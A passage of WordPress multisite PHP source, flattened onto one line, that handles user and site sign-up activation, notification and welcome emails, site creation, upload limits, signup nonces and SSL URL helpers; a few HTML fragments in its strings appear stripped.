*/ function wpmu_signup_user_notification( $user_login, $user_email, #[\SensitiveParameter] $key, $meta = array() ) { /** * Filters whether to bypass the email notification for new user sign-up. * * @since MU (3.0.0) * * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_user(). * @param array $meta Signup meta data. Default empty array. */ if ( ! apply_filters( 'wpmu_signup_user_notification', $user_login, $user_email, $key, $meta ) ) { return false; } $user = get_user_by( 'login', $user_login ); $switched_locale = $user && switch_to_user_locale( $user->ID ); // Send email with activation link. $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $message = sprintf( /** * Filters the content of the notification email for new user sign-up. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $content Content of the notification email. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_user(). * @param array $meta Signup meta data. Default empty array. */ apply_filters( 'wpmu_signup_user_notification_email', /* translators: New user notification email. %s: Activation URL. */ __( "To activate your user, please click the following link:\n\n%s\n\nAfter you activate, you will receive *another email* with your login." ), $user_login, $user_email, $key, $meta ), site_url( "wp-activate.php?key=$key" ) ); $subject = sprintf( /** * Filters the subject of the notification email of new user signup. * * @since MU (3.0.0) * * @param string $subject Subject of the notification email. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_user(). * @param array $meta Signup meta data. Default empty array. */ apply_filters( 'wpmu_signup_user_notification_subject', /* translators: New user notification email subject. 1: Network title, 2: New user login. */ _x( '[%1$s] Activate %2$s', 'New user notification email subject' ), $user_login, $user_email, $key, $meta ), $from_name, $user_login ); wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Activates a signup. * * Hook to {@see 'wpmu_activate_user'} or {@see 'wpmu_activate_blog'} for events * that should happen only when users or sites are self-created (since * those actions are not called when users and sites are created * by a Super Admin). * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $key The activation key provided to the user. * @return array|WP_Error An array containing information about the activated user and/or blog. */ function wpmu_activate_signup( #[\SensitiveParameter] $key ) { global $wpdb; $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE activation_key = %s", $key ) ); if ( empty( $signup ) ) { return new WP_Error( 'invalid_key', __( 'Invalid activation key.' ) ); } if ( $signup->active ) { if ( empty( $signup->domain ) ) { return new WP_Error( 'already_active', __( 'The user is already active.' ), $signup ); } else { return new WP_Error( 'already_active', __( 'The site is already active.' ), $signup ); } } $meta = maybe_unserialize( $signup->meta ); $password = wp_generate_password( 12, false ); $user_id = username_exists( $signup->user_login ); if ( ! $user_id ) { $user_id = wpmu_create_user( $signup->user_login, $password, $signup->user_email ); } else { $user_already_exists = true; } if ( ! $user_id ) { return new WP_Error( 'create_user', __( 'Could not create user' ), $signup ); } $now = current_time( 'mysql', true ); if ( empty( $signup->domain ) ) { $wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now, ), array( 'activation_key' => $key ) ); if ( isset( $user_already_exists ) ) { return new WP_Error( 'user_already_exists', __( 'That username is already activated.' ), $signup ); } /** * Fires immediately after a new user is activated. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $password User password. * @param array $meta Signup meta data. */ do_action( 'wpmu_activate_user', $user_id, $password, $meta ); return array( 'user_id' => $user_id, 'password' => $password, 'meta' => $meta, ); } $blog_id = wpmu_create_blog( $signup->domain, $signup->path, $signup->title, $user_id, $meta, get_current_network_id() ); // TODO: What to do if we create a user but cannot create a blog? if ( is_wp_error( $blog_id ) ) { /* * If blog is taken, that means a previous attempt to activate this blog * failed in between creating the blog and setting the activation flag. * Let's just set the active flag and instruct the user to reset their password. */ if ( 'blog_taken' === $blog_id->get_error_code() ) { $blog_id->add_data( $signup ); $wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now, ), array( 'activation_key' => $key ) ); } return $blog_id; } $wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now, ), array( 'activation_key' => $key ) ); /** * Fires immediately after a site is activated. * * @since MU (3.0.0) * * @param int $blog_id Blog ID. * @param int $user_id User ID. * @param string $password User password. * @param string $signup_title Site title. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ do_action( 'wpmu_activate_blog', $blog_id, $user_id, $password, $signup->title, $meta ); return array( 'blog_id' => $blog_id, 'user_id' => $user_id, 'password' => $password, 'title' => $signup->title, 'meta' => $meta, ); } /** * Deletes an associated signup entry when a user is deleted from the database. * * @since 5.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $id ID of the user to delete. * @param int|null $reassign ID of the user to reassign posts and links to. * @param WP_User $user User object. */ function wp_delete_signup_on_user_delete( $id, $reassign, $user ) { global $wpdb; $wpdb->delete( $wpdb->signups, array( 'user_login' => $user->user_login ) ); } /** * Creates a user. * * This function runs when a user self-registers as well as when * a Super Admin creates a new user. Hook to {@see 'wpmu_new_user'} for events * that should affect all new users, but only on Multisite (otherwise * use {@see 'user_register'}). * * @since MU (3.0.0) * * @param string $user_name The new user's login name. * @param string $password The new user's password. * @param string $email The new user's email address. * @return int|false Returns false on failure, or int $user_id on success. */ function wpmu_create_user( $user_name, #[\SensitiveParameter] $password, $email ) { $user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) ); $user_id = wp_create_user( $user_name, $password, $email ); if ( is_wp_error( $user_id ) ) { return false; } // Newly created users have no roles or caps until they are added to a blog. delete_user_option( $user_id, 'capabilities' ); delete_user_option( $user_id, 'user_level' ); /** * Fires immediately after a new user is created. * * @since MU (3.0.0) * * @param int $user_id User ID. */ do_action( 'wpmu_new_user', $user_id ); return $user_id; } /** * Creates a site. * * This function runs when a user self-registers a new site as well * as when a Super Admin creates a new site. Hook to {@see 'wpmu_new_blog'} * for events that should affect all new sites. * * On subdirectory installations, $domain is the same as the main site's * domain, and the path is the subdirectory name (eg 'example.com' * and '/blog1/'). On subdomain installations, $domain is the new subdomain + * root domain (eg 'blog1.example.com'), and $path is '/'. * * @since MU (3.0.0) * * @param string $domain The new site's domain. * @param string $path The new site's path. * @param string $title The new site's title. * @param int $user_id The user ID of the new site's admin. * @param array $options Optional. Array of key=>value pairs used to set initial site options. * If valid status keys are included ('public', 'archived', 'mature', * 'spam', 'deleted', or 'lang_id') the given site status(es) will be * updated. Otherwise, keys and values will be used to set options for * the new site. Default empty array. * @param int $network_id Optional. Network ID. Only relevant on multi-network installations. * Default 1. * @return int|WP_Error Returns WP_Error object on failure, the new site ID on success. */ function wpmu_create_blog( $domain, $path, $title, $user_id, $options = array(), $network_id = 1 ) { $defaults = array( 'public' => 0, ); $options = wp_parse_args( $options, $defaults ); $title = strip_tags( $title ); $user_id = (int) $user_id; // Check if the domain has been used already. We should return an error message. if ( domain_exists( $domain, $path, $network_id ) ) { return new WP_Error( 'blog_taken', __( 'Sorry, that site already exists!' ) ); } if ( ! wp_installing() ) { wp_installing( true ); } $allowed_data_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ); $site_data = array_merge( array( 'domain' => $domain, 'path' => $path, 'network_id' => $network_id, ), array_intersect_key( $options, array_flip( $allowed_data_fields ) ) ); // Data to pass to wp_initialize_site(). $site_initialization_data = array( 'title' => $title, 'user_id' => $user_id, 'options' => array_diff_key( $options, array_flip( $allowed_data_fields ) ), ); $blog_id = wp_insert_site( array_merge( $site_data, $site_initialization_data ) ); if ( is_wp_error( $blog_id ) ) { return $blog_id; } wp_cache_set_sites_last_changed(); return $blog_id; } /** * Notifies the network admin that a new site has been activated. * * Filter {@see 'newblog_notify_siteadmin'} to change the content of * the notification email. * * @since MU (3.0.0) * @since 5.1.0 $blog_id now supports input from the {@see 'wp_initialize_site'} action. * * @param WP_Site|int $blog_id The new site's object or ID. * @param string $deprecated Not used. * @return bool */ function newblog_notify_siteadmin( $blog_id, $deprecated = '' ) { if ( is_object( $blog_id ) ) { $blog_id = $blog_id->blog_id; } if ( 'yes' !== get_site_option( 'registrationnotification' ) ) { return false; } $email = get_site_option( 'admin_email' ); if ( ! is_email( $email ) ) { return false; } $options_site_url = esc_url( network_admin_url( 'settings.php' ) ); switch_to_blog( $blog_id ); $blogname = get_option( 'blogname' ); $siteurl = site_url(); restore_current_blog(); $msg = sprintf( /* translators: New site notification email. 1: Site URL, 2: User IP address, 3: URL to Network Settings screen. */ __( 'New Site: %1$s URL: %2$s Remote IP address: %3$s Disable these notifications: %4$s' ), $blogname, $siteurl, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url ); /** * Filters the message body of the new site activation email sent * to the network administrator. * * @since MU (3.0.0) * @since 5.4.0 The `$blog_id` parameter was added. * * @param string $msg Email body. * @param int|string $blog_id The new site's ID as an integer or numeric string. */ $msg = apply_filters( 'newblog_notify_siteadmin', $msg, $blog_id ); /* translators: New site notification email subject. %s: New site URL. */ wp_mail( $email, sprintf( __( 'New Site Registration: %s' ), $siteurl ), $msg ); return true; } /** * Notifies the network admin that a new user has been activated. * * Filter {@see 'newuser_notify_siteadmin'} to change the content of * the notification email. * * @since MU (3.0.0) * * @param int $user_id The new user's ID. * @return bool */ function newuser_notify_siteadmin( $user_id ) { if ( 'yes' !== get_site_option( 'registrationnotification' ) ) { return false; } $email = get_site_option( 'admin_email' ); if ( ! is_email( $email ) ) { return false; } $user = get_userdata( $user_id ); $options_site_url = esc_url( network_admin_url( 'settings.php' ) ); $msg = sprintf( /* translators: New user notification email. 1: User login, 2: User IP address, 3: URL to Network Settings screen. */ __( 'New User: %1$s Remote IP address: %2$s Disable these notifications: %3$s' ), $user->user_login, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url ); /** * Filters the message body of the new user activation email sent * to the network administrator. * * @since MU (3.0.0) * * @param string $msg Email body. * @param WP_User $user WP_User instance of the new user. */ $msg = apply_filters( 'newuser_notify_siteadmin', $msg, $user ); /* translators: New user notification email subject. %s: User login. */ wp_mail( $email, sprintf( __( 'New User Registration: %s' ), $user->user_login ), $msg ); return true; } /** * Checks whether a site name is already taken. * * The name is the site's subdomain or the site's subdirectory * path depending on the network settings. * * Used during the new site registration process to ensure * that each site name is unique. * * @since MU (3.0.0) * * @param string $domain The domain to be checked. * @param string $path The path to be checked. * @param int $network_id Optional. Network ID. Only relevant on multi-network installations. * Default 1. * @return int|null The site ID if the site name exists, null otherwise. */ function domain_exists( $domain, $path, $network_id = 1 ) { $path = trailingslashit( $path ); $args = array( 'network_id' => $network_id, 'domain' => $domain, 'path' => $path, 'fields' => 'ids', 'number' => 1, 'update_site_meta_cache' => false, ); $result = get_sites( $args ); $result = array_shift( $result ); /** * Filters whether a site name is taken. * * The name is the site's subdomain or the site's subdirectory * path depending on the network settings. * * @since 3.5.0 * * @param int|null $result The site ID if the site name exists, null otherwise. * @param string $domain Domain to be checked. * @param string $path Path to be checked. * @param int $network_id Network ID. Only relevant on multi-network installations. */ return apply_filters( 'domain_exists', $result, $domain, $path, $network_id ); } /** * Notifies the site administrator that their site activation was successful. * * Filter {@see 'wpmu_welcome_notification'} to disable or bypass. * * Filter {@see 'update_welcome_email'} and {@see 'update_welcome_subject'} to * modify the content and subject line of the notification email. * * @since MU (3.0.0) * * @param int $blog_id Site ID. * @param int $user_id User ID. * @param string $password User password, or "N/A" if the user account is not new. * @param string $title Site title. * @param array $meta Optional. Signup meta data. By default, contains the requested privacy setting and lang_id. * @return bool Whether the email notification was sent. */ function wpmu_welcome_notification( $blog_id, $user_id, #[\SensitiveParameter] $password, $title, $meta = array() ) { $current_network = get_network(); /** * Filters whether to bypass the welcome email sent to the site administrator after site activation. * * Returning false disables the welcome email. * * @since MU (3.0.0) * * @param int|false $blog_id Site ID, or false to prevent the email from sending. * @param int $user_id User ID of the site administrator. * @param string $password User password, or "N/A" if the user account is not new. * @param string $title Site title. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ if ( ! apply_filters( 'wpmu_welcome_notification', $blog_id, $user_id, $password, $title, $meta ) ) { return false; } $user = get_userdata( $user_id ); $switched_locale = switch_to_user_locale( $user_id ); $welcome_email = get_site_option( 'welcome_email' ); if ( ! $welcome_email ) { /* translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those are placeholders. */ $welcome_email = __( 'Howdy USERNAME, Your new SITE_NAME site has been successfully set up at: BLOG_URL You can log in to the administrator account with the following information: Username: USERNAME Password: PASSWORD Log in here: BLOG_URLwp-login.php We hope you enjoy your new site. Thanks! --The Team @ SITE_NAME' ); } $url = get_blogaddress_by_id( $blog_id ); $welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, $welcome_email ); $welcome_email = str_replace( 'BLOG_TITLE', $title, $welcome_email ); $welcome_email = str_replace( 'BLOG_URL', $url, $welcome_email ); $welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email ); $welcome_email = str_replace( 'PASSWORD', $password, $welcome_email ); /** * Filters the content of the welcome email sent to the site administrator after site activation. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $welcome_email Message body of the email. * @param int $blog_id Site ID. * @param int $user_id User ID of the site administrator. * @param string $password User password, or "N/A" if the user account is not new. * @param string $title Site title. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ $welcome_email = apply_filters( 'update_welcome_email', $welcome_email, $blog_id, $user_id, $password, $title, $meta ); $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $message = $welcome_email; if ( empty( $current_network->site_name ) ) { $current_network->site_name = 'WordPress'; } /* translators: New site notification email subject. 1: Network title, 2: New site title. */ $subject = __( 'New %1$s Site: %2$s' ); /** * Filters the subject of the welcome email sent to the site administrator after site activation. * * @since MU (3.0.0) * * @param string $subject Subject of the email. */ $subject = apply_filters( 'update_welcome_subject', sprintf( $subject, $current_network->site_name, wp_unslash( $title ) ) ); wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Notifies the Multisite network administrator that a new site was created. * * Filter {@see 'send_new_site_email'} to disable or bypass. * * Filter {@see 'new_site_email'} to filter the contents. * * @since 5.6.0 * * @param int $site_id Site ID of the new site. * @param int $user_id User ID of the administrator of the new site. * @return bool Whether the email notification was sent. */ function wpmu_new_site_admin_notification( $site_id, $user_id ) { $site = get_site( $site_id ); $user = get_userdata( $user_id ); $email = get_site_option( 'admin_email' ); if ( ! $site || ! $user || ! $email ) { return false; } /** * Filters whether to send an email to the Multisite network administrator when a new site is created. * * Return false to disable sending the email. * * @since 5.6.0 * * @param bool $send Whether to send the email. * @param WP_Site $site Site object of the new site. * @param WP_User $user User object of the administrator of the new site. */ if ( ! apply_filters( 'send_new_site_email', true, $site, $user ) ) { return false; } $switched_locale = false; $network_admin = get_user_by( 'email', $email ); if ( $network_admin ) { // If the network admin email address corresponds to a user, switch to their locale. $switched_locale = switch_to_user_locale( $network_admin->ID ); } else { // Otherwise switch to the locale of the current site. $switched_locale = switch_to_locale( get_locale() ); } $subject = sprintf( /* translators: New site notification email subject. %s: Network title. */ __( '[%s] New Site Created' ), get_network()->site_name ); $message = sprintf( /* translators: New site notification email. 1: User login, 2: Site URL, 3: Site title. */ __( 'New site created by %1$s Address: %2$s Name: %3$s' ), $user->user_login, get_site_url( $site->id ), get_blog_option( $site->id, 'blogname' ) ); $header = sprintf( 'From: "%1$s" <%2$s>', _x( 'Site Admin', 'email "From" field' ), $email ); $new_site_email = array( 'to' => $email, 'subject' => $subject, 'message' => $message, 'headers' => $header, ); /** * Filters the content of the email sent to the Multisite network administrator when a new site is created. * * Content should be formatted for transmission via wp_mail(). * * @since 5.6.0 * * @param array $new_site_email { * Used to build wp_mail(). * * @type string $to The email address of the recipient. * @type string $subject The subject of the email. * @type string $message The content of the email. * @type string $headers Headers. * } * @param WP_Site $site Site object of the new site. * @param WP_User $user User object of the administrator of the new site. */ $new_site_email = apply_filters( 'new_site_email', $new_site_email, $site, $user ); wp_mail( $new_site_email['to'], wp_specialchars_decode( $new_site_email['subject'] ), $new_site_email['message'], $new_site_email['headers'] ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Notifies a user that their account activation has been successful. * * Filter {@see 'wpmu_welcome_user_notification'} to disable or bypass. * * Filter {@see 'update_welcome_user_email'} and {@see 'update_welcome_user_subject'} to * modify the content and subject line of the notification email. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $password User password. * @param array $meta Optional. Signup meta data. Default empty array. * @return bool */ function wpmu_welcome_user_notification( $user_id, #[\SensitiveParameter] $password, $meta = array() ) { $current_network = get_network(); /** * Filters whether to bypass the welcome email after user activation. * * Returning false disables the welcome email. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $password User password. * @param array $meta Signup meta data. Default empty array. */ if ( ! apply_filters( 'wpmu_welcome_user_notification', $user_id, $password, $meta ) ) { return false; } $welcome_email = get_site_option( 'welcome_user_email' ); $user = get_userdata( $user_id ); $switched_locale = switch_to_user_locale( $user_id ); /** * Filters the content of the welcome email after user activation. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $welcome_email The message body of the account activation success email. * @param int $user_id User ID. * @param string $password User password. * @param array $meta Signup meta data. Default empty array. */ $welcome_email = apply_filters( 'update_welcome_user_email', $welcome_email, $user_id, $password, $meta ); $welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, $welcome_email ); $welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email ); $welcome_email = str_replace( 'PASSWORD', $password, $welcome_email ); $welcome_email = str_replace( 'LOGINLINK', wp_login_url(), $welcome_email ); $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $message = $welcome_email; if ( empty( $current_network->site_name ) ) { $current_network->site_name = 'WordPress'; } /* translators: New user notification email subject. 1: Network title, 2: New user login. */ $subject = __( 'New %1$s User: %2$s' ); /** * Filters the subject of the welcome email after user activation. * * @since MU (3.0.0) * * @param string $subject Subject of the email. */ $subject = apply_filters( 'update_welcome_user_subject', sprintf( $subject, $current_network->site_name, $user->user_login ) ); wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Gets the current network. * * Returns an object containing the 'id', 'domain', 'path', and 'site_name' * properties of the network being viewed. * * @see wpmu_current_site() * * @since MU (3.0.0) * * @global WP_Network $current_site The current network. * * @return WP_Network The current network. */ function get_current_site() { global $current_site; return $current_site; } /** * Gets a user's most recent post. * * Walks through each of a user's blogs to find the post with * the most recent post_date_gmt. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $user_id User ID. * @return array Contains the blog_id, post_id, post_date_gmt, and post_gmt_ts. */ function get_most_recent_post_of_user( $user_id ) { global $wpdb; $user_blogs = get_blogs_of_user( (int) $user_id ); $most_recent_post = array(); /* * Walk through each blog and get the most recent post * published by $user_id. */ foreach ( (array) $user_blogs as $blog ) { $prefix = $wpdb->get_blog_prefix( $blog->userblog_id ); $recent_post = $wpdb->get_row( $wpdb->prepare( "SELECT ID, post_date_gmt FROM {$prefix}posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date_gmt DESC LIMIT 1", $user_id ), ARRAY_A ); // Make sure we found a post. if ( isset( $recent_post['ID'] ) ) { $post_gmt_ts = strtotime( $recent_post['post_date_gmt'] ); /* * If this is the first post checked * or if this post is newer than the current recent post, * make it the new most recent post. */ if ( ! isset( $most_recent_post['post_gmt_ts'] ) || ( $post_gmt_ts > $most_recent_post['post_gmt_ts'] ) ) { $most_recent_post = array( 'blog_id' => $blog->userblog_id, 'post_id' => $recent_post['ID'], 'post_date_gmt' => $recent_post['post_date_gmt'], 'post_gmt_ts' => $post_gmt_ts, ); } } } return $most_recent_post; } // // Misc functions. // /** * Checks an array of MIME types against a list of allowed types. * * WordPress ships with a set of allowed upload filetypes, * which is defined in wp-includes/functions.php in * get_allowed_mime_types(). This function is used to filter * that list against the filetypes allowed provided by Multisite * Super Admins at wp-admin/network/settings.php. * * @since MU (3.0.0) * * @param array $mimes * @return array */ function check_upload_mimes( $mimes ) { $site_exts = explode( ' ', get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) ); $site_mimes = array(); foreach ( $site_exts as $ext ) { foreach ( $mimes as $ext_pattern => $mime ) { if ( '' !== $ext && str_contains( $ext_pattern, $ext ) ) { $site_mimes[ $ext_pattern ] = $mime; } } } return $site_mimes; } /** * Updates a blog's post count. * * WordPress MS stores a blog's post count as an option so as * to avoid extraneous COUNTs when a blog's details are fetched * with get_site(). This function is called when posts are published * or unpublished to make sure the count stays current. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $deprecated Not used. */ function update_posts_count( $deprecated = '' ) { global $wpdb; update_option( 'post_count', (int) $wpdb->get_var( "SELECT COUNT(ID) FROM {$wpdb->posts} WHERE post_status = 'publish' and post_type = 'post'" ), true ); } /** * Logs the user email, IP, and registration date of a new site. * * @since MU (3.0.0) * @since 5.1.0 Parameters now support input from the {@see 'wp_initialize_site'} action. * * @global wpdb $wpdb WordPress database abstraction object. * * @param WP_Site|int $blog_id The new site's object or ID. * @param int|array $user_id User ID, or array of arguments including 'user_id'. */ function wpmu_log_new_registrations( $blog_id, $user_id ) { global $wpdb; if ( is_object( $blog_id ) ) { $blog_id = $blog_id->blog_id; } if ( is_array( $user_id ) ) { $user_id = ! empty( $user_id['user_id'] ) ? $user_id['user_id'] : 0; } $user = get_userdata( (int) $user_id ); if ( $user ) { $wpdb->insert( $wpdb->registration_log, array( 'email' => $user->user_email, 'IP' => preg_replace( '/[^0-9., ]/', '', wp_unslash( $_SERVER['REMOTE_ADDR'] ) ), 'blog_id' => $blog_id, 'date_registered' => current_time( 'mysql' ), ) ); } } /** * Ensures that the current site's domain is listed in the allowed redirect host list. * * @see wp_validate_redirect() * @since MU (3.0.0) * * @param array|string $deprecated Not used. * @return string[] { * An array containing the current site's domain. * * @type string $0 The current site's domain. * } */ function redirect_this_site( $deprecated = '' ) { return array( get_network()->domain ); } /** * Checks whether an upload is too big. * * @since MU (3.0.0) * * @param array $upload An array of information about the newly-uploaded file. * @return string|array If the upload is under the size limit, $upload is returned. Otherwise returns an error message. */ function upload_is_file_too_big( $upload ) { if ( ! is_array( $upload ) || defined( 'WP_IMPORTING' ) || get_site_option( 'upload_space_check_disabled' ) ) { return $upload; } if ( strlen( $upload['bits'] ) > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) { /* translators: %s: Maximum allowed file size in kilobytes. */ return sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ) . '
      ', get_site_option( 'fileupload_maxk', 1500 ) ); } return $upload; } /** * Adds a nonce field to the signup page. * * @since MU (3.0.0) */ function signup_nonce_fields() { $id = mt_rand(); echo ""; wp_nonce_field( 'signup_form_' . $id, '_signup_form', false ); } /** * Processes the signup nonce created in signup_nonce_fields(). * * @since MU (3.0.0) * * @param array $result * @return array */ function signup_nonce_check( $result ) { if ( ! strpos( $_SERVER['PHP_SELF'], 'wp-signup.php' ) ) { return $result; } if ( ! wp_verify_nonce( $_POST['_signup_form'], 'signup_form_' . $_POST['signup_form_id'] ) ) { $result['errors']->add( 'invalid_nonce', __( 'Unable to submit this form, please try again.' ) ); } return $result; } /** * Corrects 404 redirects when NOBLOGREDIRECT is defined. * * @since MU (3.0.0) */ function maybe_redirect_404() { if ( is_main_site() && is_404() && defined( 'NOBLOGREDIRECT' ) ) { /** * Filters the redirect URL for 404s on the main site. * * The filter is only evaluated if the NOBLOGREDIRECT constant is defined. * * @since 3.0.0 * * @param string $no_blog_redirect The redirect URL defined in NOBLOGREDIRECT. */ $destination = apply_filters( 'blog_redirect_404', NOBLOGREDIRECT ); if ( $destination ) { if ( '%siteurl%' === $destination ) { $destination = network_home_url(); } wp_redirect( $destination ); exit; } } } /** * Adds a new user to a blog by visiting /newbloguser/{key}/. * * This will only work when the user's details are saved as an option * keyed as 'new_user_{key}', where '{key}' is a hash generated for the user to be * added, as when a user is invited through the regular WP Add User interface. * * @since MU (3.0.0) */ function maybe_add_existing_user_to_blog() { if ( ! str_contains( $_SERVER['REQUEST_URI'], '/newbloguser/' ) ) { return; } $parts = explode( '/', $_SERVER['REQUEST_URI'] ); $key = array_pop( $parts ); if ( '' === $key ) { $key = array_pop( $parts ); } $details = get_option( 'new_user_' . $key ); if ( ! empty( $details ) ) { delete_option( 'new_user_' . $key ); } if ( empty( $details ) || is_wp_error( add_existing_user_to_blog( $details ) ) ) { wp_die( sprintf( /* translators: %s: Home URL. */ __( 'An error occurred adding you to this site. Go to the homepage.' ), home_url() ) ); } wp_die( sprintf( /* translators: 1: Home URL, 2: Admin URL. */ __( 'You have been added to this site. Please visit the homepage or log in using your username and password.' ), home_url(), admin_url() ), __( 'WordPress › Success' ), array( 'response' => 200 ) ); } /** * Adds a user to a blog based on details from maybe_add_existing_user_to_blog(). * * @since MU (3.0.0) * * @param array|false $details { * User details. Must at least contain values for the keys listed below. * * @type int $user_id The ID of the user being added to the current blog. * @type string $role The role to be assigned to the user. * } * @return true|WP_Error|void True on success or a WP_Error object if the user doesn't exist * or could not be added. Void if $details array was not provided. */ function add_existing_user_to_blog( $details = false ) { if ( is_array( $details ) ) { $blog_id = get_current_blog_id(); $result = add_user_to_blog( $blog_id, $details['user_id'], $details['role'] ); /** * Fires immediately after an existing user is added to a site. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param true|WP_Error $result True on success or a WP_Error object if the user doesn't exist * or could not be added. */ do_action( 'added_existing_user', $details['user_id'], $result ); return $result; } } /** * Adds a newly created user to the appropriate blog * * To add a user in general, use add_user_to_blog(). This function * is specifically hooked into the {@see 'wpmu_activate_user'} action. * * @since MU (3.0.0) * * @see add_user_to_blog() * * @param int $user_id User ID. * @param string $password User password. Ignored. * @param array $meta Signup meta data. */ function add_new_user_to_blog( $user_id, #[\SensitiveParameter] $password, $meta ) { if ( ! empty( $meta['add_to_blog'] ) ) { $blog_id = $meta['add_to_blog']; $role = $meta['new_role']; remove_user_from_blog( $user_id, get_network()->site_id ); // Remove user from main blog. $result = add_user_to_blog( $blog_id, $user_id, $role ); if ( ! is_wp_error( $result ) ) { update_user_meta( $user_id, 'primary_blog', $blog_id ); } } } /** * Corrects From host on outgoing mail to match the site domain. * * @since MU (3.0.0) * * @param PHPMailer\PHPMailer\PHPMailer $phpmailer The PHPMailer instance (passed by reference). */ function fix_phpmailer_messageid( $phpmailer ) { $phpmailer->Hostname = get_network()->domain; } /** * Determines whether a user is marked as a spammer, based on user login. * * @since MU (3.0.0) * * @param string|WP_User $user Optional. Defaults to current user. WP_User object, * or user login name as a string. * @return bool */ function is_user_spammy( $user = null ) { if ( ! ( $user instanceof WP_User ) ) { if ( $user ) { $user = get_user_by( 'login', $user ); } else { $user = wp_get_current_user(); } } return $user && isset( $user->spam ) && '1' === $user->spam; } /** * Updates this blog's 'public' setting in the global blogs table. * * Public blogs have a setting of 1, private blogs are 0. * * @since MU (3.0.0) * * @param int $old_value The old public value. * @param int $value The new public value. */ function update_blog_public( $old_value, $value ) { update_blog_status( get_current_blog_id(), 'public', (int) $value ); } /** * Determines whether users can self-register, based on Network settings. * * @since MU (3.0.0) * * @return bool */ function users_can_register_signup_filter() { $registration = get_site_option( 'registration' ); return ( 'all' === $registration || 'user' === $registration ); } /** * Ensures that the welcome message is not empty. Currently unused. * * @since MU (3.0.0) * * @param string $text * @return string */ function welcome_user_msg_filter( $text ) { if ( ! $text ) { remove_filter( 'site_option_welcome_user_email', 'welcome_user_msg_filter' ); /* translators: Do not translate USERNAME, PASSWORD, LOGINLINK, SITE_NAME: those are placeholders. */ $text = __( 'Howdy USERNAME, Your new account is set up. You can log in with the following information: Username: USERNAME Password: PASSWORD LOGINLINK Thanks! --The Team @ SITE_NAME' ); update_site_option( 'welcome_user_email', $text ); } return $text; } /** * Determines whether to force SSL on content. * * @since 2.8.5 * * @param bool|null $force Optional. Whether to force SSL in admin screens. Default null. * @return bool True if forced, false if not forced. */ function force_ssl_content( $force = null ) { static $forced_content = false; if ( ! is_null( $force ) ) { $old_forced = $forced_content; $forced_content = (bool) $force; return $old_forced; } return $forced_content; } /** * Formats a URL to use https. * * Useful as a filter. * * @since 2.8.5 * * @param string $url URL. * @return string URL with https as the scheme. */ function filter_SSL( $url ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid if ( ! is_string( $url ) ) { return get_bloginfo( 'url' ); // Return home site URL with proper scheme. } if ( force_ssl_content() && is_ssl() ) { $url = set_url_scheme( $url, 'https' ); } return $url; } /** * Schedules update of the network-wide counts for the current network. * * 